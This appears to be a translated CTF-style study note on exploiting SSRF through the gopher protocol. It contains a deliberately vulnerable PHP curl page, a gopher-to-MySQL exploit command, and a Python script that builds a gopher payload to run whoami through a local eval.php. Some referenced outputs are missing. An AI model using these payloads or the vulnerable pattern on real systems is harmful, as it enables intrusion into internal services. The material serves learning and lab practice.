After studying the application of Gopher protocol for one day, I decided to write a summary about the SSRF utilization of Gopher protocol.
Reference link: https://blog.csdn.net/qq_41107295/article/details/103026470
SSRF (server side request forgery) server side request forgery is a vulnerability formed by the attacker to initiate a request from the server side. Generally, the target of SSRF attack is the internal system that cannot be accessed from the external network.
Gopher protocol can do many things, especially in SSRF. This protocol can be used to attack FTP, Telnet, Redis, Memcache, GET and POST requests in the intranet.
Gopher protocol is a common and commonly used protocol on the Internet before the emergence of http protocol. In ssrf, gopher protocol is often used to construct post packets to attack intranet applications. In fact, the construction method is very simple, similar to http protocol.
The difference is that the gopher protocol does not have a default port, so you need to specify the web port, and you need to specify the post method. Use% 0d%0a for carriage return. Note that the & separator between the post parameters is also url encoded
Basic agreement format: URL:gopher ://<host>:<port>/<gopher-path>_ Followed by TCP data flow
Some small details about gopher's utilization:
- Detail 1
Curl-v checks whether curl supports gopher protocol. nc finds that the data is wrapped, but only ello is displayed, while h disappears. Therefore, we need to add in before we construct gopher here_ To act as the missing character:
- Detail II
Note that if you use payload in the address bar, you need to do url encoding again.
It is recommended to build environment with PHP study, and use this code to simulate SSRF:
<?php $ch = curl_init(); // Create a new cURL resource curl_setopt($ch, CURLOPT_URL, $_GET['url']); // Set URL and corresponding options #curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_HEADER, 0); #curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); curl_exec($ch); // Grab the URL and pass it to the browser curl_close($ch); // Close cURL resources and release system resources ?>
You can see:
MySQL database user authentication adopts the challenge / response mode. The server generates the challenge number and sends it to the client. The client encrypts the password with the challenge number and returns the corresponding result. Then the server checks whether the result is the same as the expected one, so as to complete the user authentication process.
The encrypted password sent by the server is required for login, but when the database user password is empty, the encrypted password is also empty. The authentication package sent by client to server is relatively fixed. In this way, there is no need for interaction, and it can be sent through gopher protocol.
A four byte header should be added before the mysql packet. The first three bytes represent the length of the package, and the fourth byte represents the package sequence. In a complete request / response interaction process, it is used to ensure the correct message sequence. Each time the client initiates a request, the sequence number value is calculated from 0. Here, we set up a curl user in our local database, and give him / her permission to log in with an empty password:
CREATE USER 'curl'@'localhost'; GRANT ALL ON *.* TO 'curl'@'localhost';
How do we use localhost/index.php?url= How about attacking mysql? Here, gopher is constructed to attack mysql:
There is a python script of gopher attacking mysql on github. Now that we know the curl user, then:
python exploit.py -u curl -d information_schema -p "" -P "select * from flag" -v -c
-u designated user -d specifies the database. Here we can use information_schema to get all databases -P specifies the sql statement
Retrieved mysql communication packets:
In fact, we get the database: infomation_ Schema, challenges, dwva, test, etc.
So we can finally get the flag through sql query (put it in the flag table under the test database locally)
Here is a local ctf question:
/ index.php The source code is:
<?php $ch = curl_init(); // Create a new cURL resource curl_setopt($ch, CURLOPT_URL, $_GET['url']); // Set URL and corresponding options #curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_HEADER, 0); #curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); curl_exec($ch); // Grab the URL and pass it to the browser curl_close($ch); // Close cURL resources and release system resources ?> <!--hint:eval.php-->
Tips eval.php , prompt for POST ctf parameterHere, gopher is used for SSRF, the data package of POST is grabbed and the host is modified to 127.0.0.1:
Get all the original hex data and construct gopher for utilization. In this case, url encoding is required because url is used for incoming:
# -*- coding: UTF-8 -*- #coding: utf-8 from urllib import quote s='504F5354202F6576616C2E70687020485454502F312E310D0A486F73743A203132372E302E302E310D0A557365722D4167656E743A204D6F7A696C6C612F352E30202857696E646F7773204E542031302E303B2057696E36343B207836343B2072763A36392E3029204765636B6F2F32303130303130312046697265666F782F36392E300D0A4163636570743A202A2F2A0D0A4163636570742D4C616E67756167653A207A682D434E2C7A683B713D302E382C7A682D54573B713D302E372C7A682D484B3B713D302E352C656E2D55533B713D302E332C656E3B713D302E320D0A436F6E74656E742D547970653A206170706C69636174696F6E2F782D7777772D666F726D2D75726C656E636F6465640D0A43616368653A206E6F2D63616368650D0A4F726967696E3A206D6F7A2D657874656E73696F6E3A2F2F31633865373436302D653166312D346165662D386535352D3334653538383032393231610D0A436F6E74656E742D4C656E6774683A2031300D0A436F6E6E656374696F6E3A20636C6F73650D0A0D0A6374663D77686F616D69' len=len(s) p='' for i in range(len)[::2]: p+=quote(chr(int(s[i:i+2],16))) #print(p) #If url browser access needs to be encoded again, curl can directly access urlp = quote(p) urlp = 'gopher://127.0.0.1:80/_' + urlp print(urlp)
To encode it as a url:
(if the url needs to be encoded again, curl does not need to be encoded.)
Successful execution of command whoami by SSRF